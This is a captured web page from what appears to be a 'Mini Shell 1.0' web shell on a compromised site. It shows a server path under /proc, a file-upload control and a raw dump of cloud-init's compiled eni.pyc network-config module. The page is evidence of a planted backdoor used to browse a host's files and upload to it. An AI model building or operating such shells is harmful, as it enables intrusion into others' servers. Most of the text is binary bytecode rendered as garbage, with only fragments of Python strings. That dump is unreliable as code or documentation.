HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1784574/root/usr/lib/python3/dist-packages/cloudinit/net/__pycache__/
Upload File :
Current File : //proc/1784574/root/usr/lib/python3/dist-packages/cloudinit/net/__pycache__/eni.cpython-311.pyc
�

܍~cAV���ddlZddlZddlZddlZddlmZddlmZddlm	Z	m
Z
ddlmZm
Z
mZddlmZeje��Zgd�Zgd�Zgd	�Zd
�Zd�Zdd
�Zd�Zd�Zd�Zd�ZGd�de
j��Zdd�Zdd�Z dS)�N)�Optional)�log)�subp�util)�ParserError�renderer�subnet_is_ipv6)�NetworkState)zpre-up�upzpost-up�downzpre-downz	post-down)�
bridge_ageing�bridge_bridgeprio�	bridge_fd�
bridge_gcinit�bridge_hello�
bridge_maxage�bridge_maxwait�
bridge_stp)�address�netmask�	broadcast�network�metric�gateway�pointtopoint�media�mtu�hostname�
leasehours�	leasetime�vendor�client�bootfile�server�hwaddr�provider�frame�netnum�endpoint�local�ttlc��g}gd�}|���D]�\}}|dkr�|dkr|d�d|d��}|rt||vrpt|��tkrd�|��}d|vr|�dd��}|�d	�||������t|��S)
N)
rrrrr�pointopointr�scope�
dns_search�dns_nameserversrr�/�prefix� �_�-�    {0} {1})�items�type�list�join�replace�append�format�sorted)�iface�subnet�content�	valid_map�key�values      �3/usr/lib/python3/dist-packages/cloudinit/net/eni.py�_iface_add_subnetrF@s����G����I��l�l�n�n�
=�
=�
��U��)�����)���%�i�0�0�0�&��2B�2B�C�E��	=�S�I�%�%��E�{�{�d�"�"���������c�z�z��k�k�#�s�+�+���N�N�=�/�/��U�;�;�<�<�<���'�?�?��c
���|dkrgSg}gd�}gd�}ddi}|ddvr|�d��|���D�]\}}t|��tkr||rdnd	}|r||vr�1|d
kr,|r*||kr#t�d|d||���c||vrC|D]?}	|�d
�|�||��|	�����@��t|��tkrd�	|��}|�d
�|�||��|������t|��S)Nr)	�control�	device_id�driver�index�inet�mode�name�subnetsr8)�bridge_pathcost�bridge_portprio�bridge_waitport�mac_address�	hwaddressr8)�bond�bridge�
infiniband�vlan�on�offrzZNetwork config: ignoring %s device-level mtu:%s because ipv4 subnet-level mtu:%s provided.rOr6r3)r<r7r8�bool�LOG�warningr=�getr9r:r>)
r?rL�ipv4_subnet_mturA�
ignore_map�multiline_keys�renamesrCrD�vs
          rE�_iface_add_attrsre^s���
��z�z��	��G�
�
�
�J����N��k�*�G��V�}�D�D�D����-�(�(�(��k�k�m�m�K�K�
��U���;�;�$���!�#�J�1�D�D�E�E��	��z�)�)���%�<�<�O�<���'�'����:��&�M��#����
��.� � ��
O�
O�����}�3�3�G�K�K��S�4I�4I�1�M�M�N�N�N�N����;�;�$����H�H�U�O�O�E����}�+�+�G�K�K��S�,A�,A�5�I�I�J�J�J�J��'�?�?�rGFc�P�|d}|d}|dkrd}n|dvrd|z}nd|z}|���}|�||d���djdi|��d	jdi|��g}|r5|�d
��r |�djdi|����|S)
NrOrI�auto)�hotplugzallow-z
# control-)�fullname�cverbz{cverb} {fullname}ziface {fullname} {inet} {mode}rTz    hwaddress {mac_address}�)�copy�updater=r_r<)r?rL�render_hwaddressrirIrj�subst�liness        rE�_iface_start_entryrq�s����V�}�H��I��G��&������	�L�	 �	 ��7�"����w�&���J�J�L�L�E�	�L�L�h��7�7�8�8�8�	$��#�,�,�e�,�,�/�(�/�8�8�%�8�8�
�E��D�E�I�I�m�4�4�D�
���9�2�9�B�B�E�B�B�C�C�C��LrGc
�$
��d}|���D�]J}|���}|�d��r�-|�d��}|d}|dk�r|d}|�d��s tj�||��}tj|��D]Ŋt	j���}	�fd�|	D��}	|	D]�}
t|
d	��5}|�
�����}ddd��n#1swxYwYtj�|
��}
t||tj�
|
��|
�����Ɛ�j|d
kr�|d}|�d��s tj�||��}tj|��D]��t�d	��5}|�
�����}ddd��n#1swxYwYtj����}t||tj�
|��|������b|dkr%|dd�D]}||vrd|i||<d
||d<����|dkrT|dd�\}}}||vrd|i||<n d||vrtd|�d|�d����|||d<|||d<|}���|dkr*|ddkr	|d}n|d}|||d<��|tvr|d|||<��3|t vrS|||vrg|||<|||�d�|dd��������|�d��r�d||vri||d<|dkrGg||dd<|dd�D])}||dd�|���*��|dkrEg||dd<|dd�D])}||dd�|���*��S|�d���r�d||vri||d<|t$vr0|�dd d��}|d||d|<���|d!krGg||dd"<|dd�D])}||dd"�|���*��|d#krP|d���d$kr|d||dd$<��A|d||dd$<��Z|d%krFd&||dvri||dd&<|d||dd&|d<���|d'krDd(||dvri||dd(<|d||dd(|d<���|�d)��rCd*||vri||d*<|�d)d d��}|d||d*|<��L|���D]}d||vrd+||d<�dS),a}Parses the file contents, placing result into ifaces.

    '_source_path' is added to every dictionary entry to define which file
    the configration information came from.

    :param ifaces: interface dictionary
    :param contents: contents of interfaces file
    :param src_dir: directory interfaces file was located
    :param src_path: file path the `contents` was read
    N�#r3rzsource-directory�r1c����g|]t}tj�tj��|����r5t	jd|���Ttj��|����uS)z^[a-zA-Z0-9_-]+$)�os�path�isfiler:�re�match)�.0rw�
expanded_paths  �rE�
<listcomp>z*_parse_deb_config_data.<locals>.<listcomp>�sq��� � � ������r�w�|�|�M�4�'H�'H�I�I�	 �
�H�%7��>�>�J�	�G�L�L���5�5�K�J�JrG�r�sourcerg�_source_pathTr?��familyz
Interface z* can only be defined once. Re-defined in 'z'.�methodrU�ether�zdns-�dnsz
dns-search�searchzdns-nameservers�nameservers�bridge_rW��bridge_ports�ports�	bridge_hw�macrQ�pathcostrR�portpriozbond-rVF)�
splitlines�strip�
startswith�splitrvrwr:�glob�listdir�open�read�abspath�_parse_deb_config_data�dirnamer�NET_CONFIG_OPTIONS�NET_CONFIG_COMMANDSr<�NET_CONFIG_BRIDGE_OPTIONSr;�lower�keys)�ifaces�contents�src_dir�src_path�currif�liner��option�parsed_src_dir�dir_contents�entry�fp�src_data�	abs_entry�new_src_path�abs_pathr?r�r��val�domainr$�
bridge_option�bond_optionr|s                        @rEr�r��s�����F��#�#�%�%�s;�s;���z�z�|�|���?�?�3���	���
�
�3�����q����'�'�'�"�1�X�N�!�,�,�S�1�1�
G�!#����g�~�!F�!F��!%��>�!:�!:�
�
�
�!�z�-�8�8�� � � � � ,� � � ��*���E��e�S�)�)�5�R�#%�7�7�9�9�?�?�#4�#4��5�5�5�5�5�5�5�5�5�5�5����5�5�5�5� "����� 6� 6�I�*���"�'�/�/�)�*D�*D�i�����	�
�"�x�
�
� ��8�L��*�*�3�/�/�
C�!�w�|�|�G�\�B�B��!%��<�!8�!8�
�
�
��-��-�-�1��!�w�w�y�y���0�0�H�1�1�1�1�1�1�1�1�1�1�1����1�1�1�1��7�?�?�=�9�9��&��H�b�g�o�o�h�&?�&?������	
��v�
�
��q�r�r��
-�
-����&�&�'��%�F�5�M�)-��u�
�f�%�%�

-��w�
�
�$)�!�A�#�J�!�E�6�6��F�"�"�#�H�!��u�
�
��V�E�]�*�*�!�k�-2�U�U�H�H�H�>����'-�F�5�M�(�#�&,�F�5�M�(�#��F�F�
�{�
"�
"��Q�x�7�"�"��A�h����A�h��*-�F�6�N�;�'�'�
�)�
)�
)�%*�1�X�F�6�N�6�"�"�
�*�
*�
*��V�F�^�+�+�)+��v��v�&��6�N�6�"�)�)�#�(�(�5����9�*=�*=�>�>�>�>�
�
�
�v�
&�
&�*	;��F�6�N�*�*�(*��v��u�%���%�%�24��v��u�%�h�/�#�A�B�B�i�C�C�F��6�N�5�)�(�3�:�:�6�B�B�B�B�C��,�,�,�79��v��u�%�m�4�#�A�B�B�i�H�H�F��6�N�5�)�-�8�?�?��G�G�G�G��
�
�
�y�
)�
)�	;��v�f�~�-�-�+-��v��x�(��2�2�2� &���y�"�a� @� @�
�:?��(��v��x�(��7�7��>�)�)�46��v��x�(��1�"�1�2�2�Y�D�D�E��6�N�8�,�W�5�<�<�U�C�C�C�C�D��;�&�&�
��8�>�>�#�#�u�,�,�6;�A�h�F�6�N�8�,�U�3�3�6;�A�h�F�6�N�8�,�U�3�3��,�,�,��V�F�^�H�%=�=�=�;=�F�6�N�8�,�Z�8�AF�q���v��x�(��4�U�1�X�>�>��,�,�,��V�F�^�H�%=�=�=�;=�F�6�N�8�,�Z�8�AF�q���v��x�(��4�U�1�X�>��
�
�
�w�
'�
'�	;��V�F�^�+�+�)+��v��v�&� �.�.��"�a�8�8�K�27��(�F�6�N�6�"�;�/�������*�*������&�&�$)�F�5�M�&�!��*�*s$�2'D%	�%D)
�,D)
�+'H�H"�%H"c�B�i}t|d��5}|������}ddd��n#1swxYwYtj�|��}t
||tj�|��|��|S)z+Parses a debian network configuration file.r~N)r�r�r�rvrwr�r�r�)rwr�r�r�r�s     rE�parse_deb_configr�7s���
�F�	
�d�C���%�B��7�7�9�9�?�?�$�$��%�%�%�%�%�%�%�%�%�%�%����%�%�%�%��w���t�$�$�H����"�'�/�/�(�3�3�X�����Ms�'A�A
�
A
c�J�i}t||dd���t|��S)N)r�r�)r��_ifaces_to_net_config_data)�eni_datar�s  rE�convert_eni_datar�Cs,��
�F��6�8�T�D�I�I�I�I�%�f�-�-�-rGc�~��i�|���D�]\}}|�d��d}|�vr)|dkrd}nd}||gd��|<d|vr|d�|d<||d	d
�}|�d��rd|d<nd
|d<|�d	��dkr|d|d<dD]}||vr||||<�d|vr1dD].}||dvr"|d|r|d||d|z<�/�|d�|����	d�fd�t	���D��d�S)z�Return network config that represents the ifaces data provided.
    ifaces = parse_deb_config("/etc/network/interfaces")
    config = ifaces_to_net_config_data(ifaces)
    state = parse_net_config_data(config).�:r�lo�loopback�physical)r8rOrPrUrTr�)�_orig_eni_namer8rgrI�manual�staticr)rrrr�)r�r��dns_rPrtc� ��g|]
}�|��Srkrk)r{�d�devss  �rEr}z._ifaces_to_net_config_data.<locals>.<listcomp>ps���$C�$C�$C��T�!�W�$C�$C�$CrG)�version�config)r7�	partitionr_r<r>)	r�rO�data�devname�dtyper@�copy_key�nr�s	        @rEr�r�Js����
�D��l�l�n�n�0�0�
��d��.�.��%�%�a�(���$����$���"���"��%*�G��K�K�D��M��d�"�"�/3�K�/@��W�
�m�,�$(�$�x�.�A�A���8�8�F���	)� &�F�9��� (�F�9���8�8�H����)�)� $�Y��F�9��;�	2�	2�H��4���#'��>��x� ���D�=�=�.�
8�
8����U��#�#��U��A��#�)-�e��Q��F�6�A�:�&���W�
�i� �'�'��/�/�/�/��$C�$C�$C�$C�f�T�l�l�$C�$C�$C�D�D�DrGc�X�eZdZdZd
d�Zdd�Zdd�Zdd�Z		dd	ed
e	e
ddfd�ZdS)�Rendererz@Renders network information in a /etc/network/interfaces format.Nc��|si}|�dd��|_|�dd��|_|�dd��|_dS)N�eni_path�etc/network/interfaces�
eni_header�
netrules_pathz(etc/udev/rules.d/70-persistent-net.rules)r_r�r�r�)�selfr�s  rE�__init__zRenderer.__init__vs\���	��F��
�
�:�/G�H�H��
� �*�*�\�4�8�8���#�Z�Z��G�
�
����rGr�c�H�g}|dz}|dz}d}ddd�}d}|dd	kr|d
d	krd}n|ddkr|d
dkrd}d}	dD]�}
|r|
dkr�|
dkr|	|�d||
�d||
��z
}	�+|
|vrm|
dkrPd||
vr|	dz
}	n$|�d
��dkr|	dz
}	n|	dz
}	d
|vr|	d||
�d|d
��z
}	��|	d||
�d||
��z
}	��|�||	z|z��|�||	z|z��|S)a�When rendering routes for an iface, in some cases applying a route
        may result in the route command returning non-zero which produces
        some confusing output for users manually using ifup/ifdown[1].  To
        that end, we will optionally include an '|| true' postfix to each
        route line allowing users to work with ifup/ifdown without using
        --force option.

        We may at somepoint not want to emit this additional postfix, and
        add a 'strict' flag to this function.  When called with strict=True,
        then we will not append the postfix.

        1. http://askubuntu.com/questions/168033/
                 how-to-set-static-routes-in-ubuntu-server
        zpost-up route addzpre-down route delz || true�gwr)rrr�rz0.0.0.0rz defaultz::r2rz -A inet6 default)rrrrr3r�z	 -A inet6� z -hostz -netr1)r_r<)r��route�indentrArr�or_true�mapping�
default_gw�
route_line�ks           rE�
_render_routezRenderer._render_routes�����
�)�
)���,�,������
�
��
�
����y�(�(�U�9�-=��-J�-J�#�J�J�
�9�
��
%�
%�%��/�Q�*>�*>�,�J��
�1�	D�	D�A��
�a�9�n�n���I�~�~��J�J�J���
�
�
�E�!�H�H�M�M�
�
��e����	�>�>��e�A�h���"�k�1�
�
����8�,�,��2�2�"�h�.�
�
�"�g�-�
��5�(�(�"�
�%��(�(�(�E�(�O�O�&L�L�
���J�g�a�j�j�j�%��(�(�"C�C�J�����r�J���0�1�1�1����t�j�(�7�2�3�3�3��rGFc	���g}��di��}��dd��}��dd��}|rd�d<|�r�t|��D�]�\}}d}	|�d<|d�d<|�d	d
���d	<d}
t|��r|
dz
}
n|�d
��}	|
�d<|ddks|ddks|ddkrd�d<|�	|rdnd�d<nM|ddkrd
�d<d�d<n6|ddkrd
�d<d�d<nt|��rd�d<|�	|rdnd�d<d�fd�|D��vrd�d	<t	t�||���t
�|��zt�||	��z��}|�dg��D],}|�|�	|d������-|�
|�����n�g}d�vsd �vr |�
d!jd%i�����|�
d"jd%i�����|�t�d#d�$����|�
|��|S)&NrPz	accept-ra�	wakeonlan�gzethernet-wolrLr8rNrIrgrM�6r�dhcp4�dhcp6zipv6_dhcpv6-stateful�dhcp�1�0�	accept_razipv6_dhcpv6-stateless�
ipv6_slaacr�Tc�*��g|]}d�dz|v��S)zauto %srOrk)r{r�r?s  �rEr}z*Renderer._render_iface.<locals>.<listcomp>�s4������<@�I��v��/�4�7���rG�alias�rn�routesz    )r�zbond-masterzbond-slaveszauto {name}ziface {name} {inet} {mode}r)rLr`rk)r_�pop�	enumerater	r9rqrFre�extendr�r<r=)
r�r?rn�sectionsrPr��ethernet_wolrLr@r`�subnet_inetrpr�s
 `           rE�
_render_ifacezRenderer._render_iface�sV������)�)�I�r�*�*���I�I�k�4�0�0�	��y�y��d�3�3���	(�$'�E�.�!��B	#�!*�7�!3�!3�7
'�7
'�
��v�"&��!&��g�� &�v���f�
�#)�:�:�i��#@�#@��i� �$��!�&�)�)�8��3�&�K�K�&,�j�j��&7�&7�O� +��f�
��6�N�g�-�-��f�~��0�0��f�~�)?�?�?�%+�E�&�M� �,�4=�-F�S�S�3��k�*���F�^�'>�>�>�$*�E�&�M�$'�E�&�M�M��F�^�|�3�3�$*�E�&�M�$'�E�&�M�M�#�F�+�+�G�$,�E�&�M� �,�4=�-F�S�S�3��k�*������DL������(/�E�)�$��&��u�7G����(��v�6�6�7�'�u�e�_�E�E�	F����$�Z�Z��"�5�5�K�K�E��L�L��!3�!3�E�&�!3�!I�!I�J�J�J�J�����&�&�&�&�o7
'�t�E���%�%��%�)?�)?����1�]�1�:�:�E�:�:�;�;�;��L�L�<�5�<�E�E�u�E�E�F�F�F��L�L� ��a��F�F�F�
�
�
�
�O�O�E�"�"�"��rGc�X�	�dddddd�gd�}|���D]/}|�d��dkrtj|��}�0|j}|r$d	�|��|d
dd<|j}|r$d	�|��|d
dd
<ddddddd��	g}|�|�|����t|����	fd����D]F}|�d��dkr�|�|�||������G|�
��D]*}|�|�|�����+d�d�|D����dzS)z1Given state, emit etc/network/interfaces content.r�r�rMr�rg)r8rI)rOr8rMrPrOr3rPrr0r/rtr��r��)r�r�rXrVrWrYc�0���|d|dfS)Nr8rOrk)r��orders �rE�<lambda>z-Renderer._render_interfaces.<locals>.<lambda>&s���5��6��+�Q�v�Y�7�rG)rCr�z

c�8�g|]}d�|����S)�
)r:)r{�ss  rEr}z/Renderer._render_interfaces.<locals>.<listcomp>2s"��;�;�;�Q�D�I�I�a�L�L�;�;�;rGr�)
�iter_interfacesr_rl�deepcopyr0r:�dns_searchdomainsr�r�r>�iter_routesr<r�)
r��
network_staternr�r?r��
searchdomainsr�r�r�s
         @rE�_render_interfaceszRenderer._render_interfacess������!+��?�?�@�	
�
��#�2�2�4�4�	*�	*�E��y�y�� � �D�(�(��]�5�)�)���#�3���	H�25�(�(�;�2G�2G�B�y�M�!��.�/�%�7�
��	E�-0�X�X�m�-D�-D�B�y�M�!��\�*�
������

�
��������*�*�2�.�.�/�/�/���)�)�+�+�7�7�7�7�
�
�
�		�		�E�
�y�y�� � �D�(�(���O�O��"�"�5�;K�"�L�L�
�
�
�
�#�.�.�0�0�	7�	7�E��O�O�D�.�.�u�5�5�6�6�6�6��{�{�;�;�(�;�;�;�<�<�t�C�CrGr�	templates�returnc�
�tj||j��}tjt
j�|����|jr|jnd}tj	|||�
|��z��|jrutj||j��}tjt
j�|����tj	||�|����dSdS)Nr�)
r�target_pathr�r�
ensure_dirrvrwr�r��
write_filerr��_render_persistent_net)r�rr�target�fpeni�header�netruless       rE�render_network_statezRenderer.render_network_state4s���� ����7�7���������.�.�/�/�/�$(�O�;���������v��(?�(?�
�(N�(N�N�O�O�O���	��'���0B�C�C�H��O�B�G�O�O�H�5�5�6�6�6��O��$�5�5�m�D�D�
�
�
�
�
�	�	rG�N)r��F)NN)�__name__�
__module__�__qualname__�__doc__r�r�r�rr
r�dictrrkrGrEr�r�ss�������J�J�
�
�
�
�2�2�2�2�hK�K�K�K�Z2D�2D�2D�2D�n%)��	��#���D�>��

������rGr�c��d}t||dd����}|sd}|�d��s|dz
}|j||���}||zS)Nr�)r�r�r�)r�r�r�r�)r��endswithr)rrrnr�rr�s      rE�network_state_to_enirGs���'�H�� � �!�
�
����H������?�?�4� � ���$���*�x�*��(8����H��H��rGc��gd�}ddg}|D]}tj|||���sdS�tj|d��}tj�|��sdSdS)N)�ifquery�ifup�ifdownz/sbinz	/usr/sbin)r�rFr�T)r�whichrrvrwrx)r�expectedr��p�enis     rE�	availabler&[s~��,�,�,�H��{�
#�F�
�����z�!�F�6�:�:�:�	��5�5�	�
�
�6�#;�
<�
<�C�
�7�>�>�#�����u��4rGr)NFr)!rlr�rvry�typingr�	cloudinitr�loggingrr�
cloudinit.netrrr	�cloudinit.net.network_stater
�	getLoggerrr]r�r�r�rFrerqr�r�r�r�r�rr&rkrGrE�<module>r-s�����������	�	�	�	�	�	�	�	�������$�$�$�$�$�$� � � � � � � � �?�?�?�?�?�?�?�?�?�?�4�4�4�4�4�4��g���!�!������	�	�	������8���<9�9�9�x����0B*�B*�B*�J	�	�	�.�.�.�&E�&E�&E�RQ�Q�Q�Q�Q�x� �Q�Q�Q�h����(
�
�
�
�
�
rG